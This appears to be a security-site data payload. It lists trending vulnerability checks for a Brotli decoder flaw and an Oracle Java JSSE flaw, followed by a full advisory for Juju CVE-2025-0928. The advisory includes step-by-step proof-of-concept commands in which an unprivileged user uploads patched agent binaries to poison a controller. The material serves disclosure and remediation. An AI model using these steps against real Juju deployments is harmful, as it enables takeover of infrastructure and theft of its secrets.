[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2025-0928":30,"landing-articles":98},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":46,"cwes":47,"cpes":50,"technologies":53,"references":56,"score":65,"epss_score":66,"epss_percentile":67,"is_kev":68,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":69,"attack_mappings":79,"exploits":96},70222,"CVE-2025-0928","EUVD-2025-20665","Juju allows arbitrary executable uploads via authenticated endpoint without authorization\n\n### Summary\nYou can affect the agent binaries used in a Juju controller and the code that is run in the binaries by simply having a user account on a controller. You aren't required to have a model or any permissions. This just requires a user account in the controller database.\n\n### Details\nBecause of the way Juju upload tools code works in the controller it only checks that the user uploading agent binaries is authenticated and is a user tag. No more checks are performed and it allows that user to upload binaries to any model they like (as long as they know the model uuid) or upload binaries to the controller (attacker doesn't need to know any uuid's for controller or controller model).\n\nOnce the poison binaries have been uploaded any new machine that is started in the affected model or controller will get started with the poison binaries. Alternatively administrator's of the controller running either `juju upgrade-controller` or `juju upgrade-model` will force distribution of the poisoned binaries to all machines in either the model or poison the controllers themselves.\n\nOn top of this the exploit can be done with the Juju client tooling itself and no real knowledge on constructing raw API requests is required.\n\nThe tools handler is the main piece of code that is used in the APIServer for handling upload requests and persisting the data uploaded: The following code references is how Juju uses and defines this:\n- The tools upload handler is defined here (https:\u002F\u002Fgithub.com\u002Fjuju\u002Fjuju\u002Fblob\u002F3.6\u002Fapiserver\u002Fapiserver.go#L972)\n- The tools upload handler is created in the api server here (https:\u002F\u002Fgithub.com\u002Fjuju\u002Fjuju\u002Fblob\u002F4bcbd094097016b2fde926afd8c9e590eabb3f0c\u002Fapiserver\u002Fapiserver.go#L766C2-L766C25).\n- The main authoriser that is used for the upload handler is created here (https:\u002F\u002Fgithub.com\u002Fjuju\u002Fjuju\u002Fblob\u002F4bcbd094097016b2fde926afd8c9e590eabb3f0c\u002Fapiserver\u002Fapiserver.go#L770C2-L770C28)\n- The upload handler is registered for the model here (https:\u002F\u002Fgithub.com\u002Fjuju\u002Fjuju\u002Fblob\u002F4bcbd094097016b2fde926afd8c9e590eabb3f0c\u002Fapiserver\u002Fapiserver.go#L902)\n- The upload handler is registered for the controller here (https:\u002F\u002Fgithub.com\u002Fjuju\u002Fjuju\u002Fblob\u002F4bcbd094097016b2fde926afd8c9e590eabb3f0c\u002Fapiserver\u002Fapiserver.go#L972)\n\nThe authoriser that is used (https:\u002F\u002Fgithub.com\u002Fjuju\u002Fjuju\u002Fblame\u002F4bcbd094097016b2fde926afd8c9e590eabb3f0c\u002Fapiserver\u002Fhttpcontext.go#L209) only confirms that the logged in user is authenticated and authenticated as a user tag. No other checks are performed.\n\nThe `toolsUploaderHandler` also uses another server func for getting the Mongo state. This also confirms a logged in user but the state that is returned to the caller is scoped to whatever model the requester has asked for. No checks are performed to make sure that the user in question actually has access to this model or the controller. See code here (https:\u002F\u002Fgithub.com\u002Fjuju\u002Fjuju\u002Fblob\u002F4e50a28cdde17832aa31634915fbe7442dca6ab3\u002Fapiserver\u002Fhttpcontext.go#L38). We end up here through a few layers of indirection of https:\u002F\u002Fgithub.com\u002Fjuju\u002Fjuju\u002Fblob\u002F4bcbd094097016b2fde926afd8c9e590eabb3f0c\u002Fapiserver\u002Fapiserver.go#L768\n\nWe can also see that when handlers are registered with no model uuid scope in the handler like the controller registration of the tools upload handler, the model uuid gets defaulted to that of the controller model. See (https:\u002F\u002Fgithub.com\u002Fjuju\u002Fjuju\u002Fblob\u002F4bcbd094097016b2fde926afd8c9e590eabb3f0c\u002Fapiserver\u002Fapiserver.go#L690).\n\n### PoC\nThis proof of concept was done with the latest tip of the `juju\u002Fjuju` 3.6 branch (https:\u002F\u002Fgithub.com\u002Fjuju\u002Fjuju\u002Fcommit\u002Fcd12b4951d657a980e113564bf2ea82f167589fd). Pull this code and work from inside of the root of the code base. It is expected that this security issue applies to 2.9 onwards as well.\n\nRepo steps:\n\n1. Bootstrap a new controller to lxd. This was done with a compiled client from the branch but there is no reason performing this action from latest snap won't produce the same result.\n` juju bootstrap localhost sec-demo`\n\n2. Add a new user to the controller. This is the user with no permissions or models that we will prove the problem with.\n`juju add-user poisoner poisoner`\n\n3. From step 2 save the registration string that the `juju` client prints out.\n\n4. We are going to remove the local `juju` admin credentials and information that was made during bootstrap. We will use this later on for confirming the attack.\n`mv ~\u002F.local\u002Fshare\u002Fjuju \u002Ftmp\u002Fjuju-bak`\n\n5. Run the `juju` cli registration command for the new user that was saved from step 3. Set the new password to whatever you wish and then re-enter to login into the controller. After this step we are now logged in as an unprivileged user to the controller.\n\n6. Apply the following patch to the currently checked out `juju` code base:\n```\ncat \u003C\u003CEOF | git apply -\ndiff --git a\u002Fcmd\u002Fjujud\u002Fmain.go b\u002Fcmd\u002Fjujud\u002Fmain.go\nindex f268509a52..1b01a74b66 100644\n--- a\u002Fcmd\u002Fjujud\u002Fmain.go\n+++ b\u002Fcmd\u002Fjujud\u002Fmain.go\n@@ -315,6 +315,16 @@ func Main(args []string) int {\n \t\tos.Exit(exit_err)\n \t}\n\n+\tlogger.Criticalf(\"----------------------\")\n+\tlogger.Criticalf(\"----------------------\")\n+\tlogger.Criticalf(\"----------------------\")\n+\tlogger.Criticalf(\"----------------------\")\n+\tlogger.Criticalf(\"Got access to the binary\")\n+\tlogger.Criticalf(\"----------------------\")\n+\tlogger.Criticalf(\"----------------------\")\n+\tlogger.Criticalf(\"----------------------\")\n+\tlogger.Criticalf(\"----------------------\")\n+\n \tvar code int\n \tcommandName := filepath.Base(args[0])\n \tswitch commandName {\ndiff --git a\u002Fversion\u002Fversion.go b\u002Fversion\u002Fversion.go\nindex 2bbc8968c8..40af52f337 100644\n--- a\u002Fversion\u002Fversion.go\n+++ b\u002Fversion\u002Fversion.go\n@@ -18,7 +18,7 @@ import (\n \u002F\u002F The presence and format of this constant is very important.\n \u002F\u002F The debian\u002Frules build recipe uses this value for the version\n \u002F\u002F number of the release package.\n-const version = \"3.6.6\"\n+const version = \"3.6.7\"\n\n \u002F\u002F UserAgentVersion defines a user agent version used for communication for\n \u002F\u002F outside resources.\nEOF\n```\n\n7. Set bogus model information. To make the `sync-agent-binary` command work below we need to set a bogus model that is in use by the client. This is done through the local `models.yaml` file. The `uuid` featured here does not matter at and can be set to anything that parses as a uuid in `juju`. This is just to trick the client tooling, the attacker could just manually construct the http request their self to bypass this.\n```\ncat \u003C\u003CEOF > ~\u002F.local\u002Fshare\u002Fjuju\u002Fmodels.yaml\ncontrollers:\n  sec-demo:\n    models:\n      admin\u002Fcontroller:\n        uuid: 4dde46dd-a514-491e-8a5f-b908b5310c02\n        type: iaas\n        branch: \"\"\n    current-model: admin\u002Fcontroller\nEOF\n```\n\n8. Next build the changes with `make simplestreams`.\n9. The output of step 9 will provide an export command to run. Please execute this command to point the `juju` client at your local simple streams cache.\n10. Next sync the compiled agent binaries from step 9 to the controller with `juju sync-agent-binary --debug --agent-version 3.6.7`.\n\n**At this stage the controllers agent binary cache has been poisoned and the security issue has been proven.**\n\n11. We can now swap back to the administrator user to start forcing binary circulation. `mv ~\u002F.local\u002Fshare\u002Fjuju \u002Ftmp\u002Fjuju-poison` and then `mv \u002Ftmp\u002Fjuju-bak ~\u002F.local\u002Fshare\u002Fjuju`\n\nAt this stage the issue can be demonstrated with just a simple `juju upgrade-controller` and a controller upgrade will kick off. You can also upgrade a model. When I was testing this my `upgrade-controller` failed to shut down the controller for reasons unrelated to this security issue. I was able to log into the controller and confirm with sha256sum that the controller had downloaded the new binaries and the checksums matched. They were also symlink as the new binaries to run for `machine-0`. This was under `\u002Fvar\u002Flib\u002Fjuju\u002Ftools` on the controller machine.\n\nIt would also be possible to affect new machines coming up in a model by repeating the steps above but changing the version to that of the model that you want to be poisoned.\n\n### Impact\nThis is a bad vulnerability in my opinion. It allows a user with no permissions to eventually consume an entire `juju` controller with poisoned binaries and gain access to all of the infrastructure and secrets on that controller. Through model migration it would also be possible to poison other controllers that the user doesn't have access to.\n\nThis also requires that an administrator upgrade or migrate aspects of the controller. But a bad actor could affect brand new machines coming up in the system straight away.","2025-07-09T15:33:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":42,"userInteraction":44,"attackComplexity":45,"availabilityImpact":42,"privilegesRequired":45,"confidentialityImpact":42},"UNCHANGED","3.1",8.8,"NETWORK","HIGH","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","NONE","LOW",true,[48,49],"CWE-434","CWE-285",[51,52],"cpe:2.3:a:canonical:juju:*:*:*:*:*:*:*:*","cpe:2.3:a:juju:juju:*:*:*:*:*:*:*:*",[54,55],"Canonical Juju","Juju Juju",[57,58,59,60,61,62,63,64],"https:\u002F\u002Fgithub.com\u002Fjuju\u002Fjuju\u002Fsecurity\u002Fadvisories\u002FGHSA-4vc8-wvhw-m5gv","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2025-0928","https:\u002F\u002Fgithub.com\u002Fjuju\u002Fjuju\u002Fcommit\u002F22cdcf6b54c2f371822e1c203d4f341be6c9589e","https:\u002F\u002Fgithub.com\u002Fjuju\u002Fjuju\u002Fcommit\u002F311e374cb8d2431032c51fb3fb5c4b0aaaa7196c","https:\u002F\u002Fgithub.com\u002Fjuju\u002Fjuju\u002Fcommit\u002F4034aa13c7cf5a37427fcd032925d5d21955b096","https:\u002F\u002Fgithub.com\u002Fjuju\u002Fjuju\u002Fcommit\u002Fb4176e6e45c2c3c817ab60b39e2d52f9a11a5ddf","https:\u002F\u002Fgithub.com\u002Fjuju\u002Fjuju","https:\u002F\u002Fpkg.go.dev\u002Fvuln\u002FGO-2025-3805",0.79,0.00695,0.52696,false,{"timestamp":70,"automatable":71,"tech_impact":72,"exploitation":73,"cisa_decision":74,"cisa_remediation_timeline":78},"2025-07-08T17:35:31.515571Z","no","total","poc",{"vector":75,"decision":76,"priority":77},"CISAv1\u002FE:P\u002FA:N\u002FT:T\u002FM:H\u002F2026-10-26T07:42:21.497285\u002F","attend","medium","14D",[80,86],{"name":81,"source":82,"tactics":83,"technique_id":85},"Exploit Public-Facing Application","attack_vector",[84],"initial-access","T1190",{"name":87,"source":88,"cwe_ids":89,"tactics":90,"capec_ids":93,"technique_id":95},"Services File Permissions Weakness","capec",[48],[91,92],"execution","stealth",[94],"CAPEC-1","T1574.010",[97],{"link":57},{"count":99,"next":100,"previous":6,"results":101},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[102,110,118],{"id":103,"title":104,"summary":105,"published_at":106,"type":107,"link":108,"image_url":109},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":111,"title":112,"summary":113,"published_at":114,"type":115,"link":116,"image_url":117},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":119,"title":120,"summary":121,"published_at":122,"type":123,"link":124,"image_url":125},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]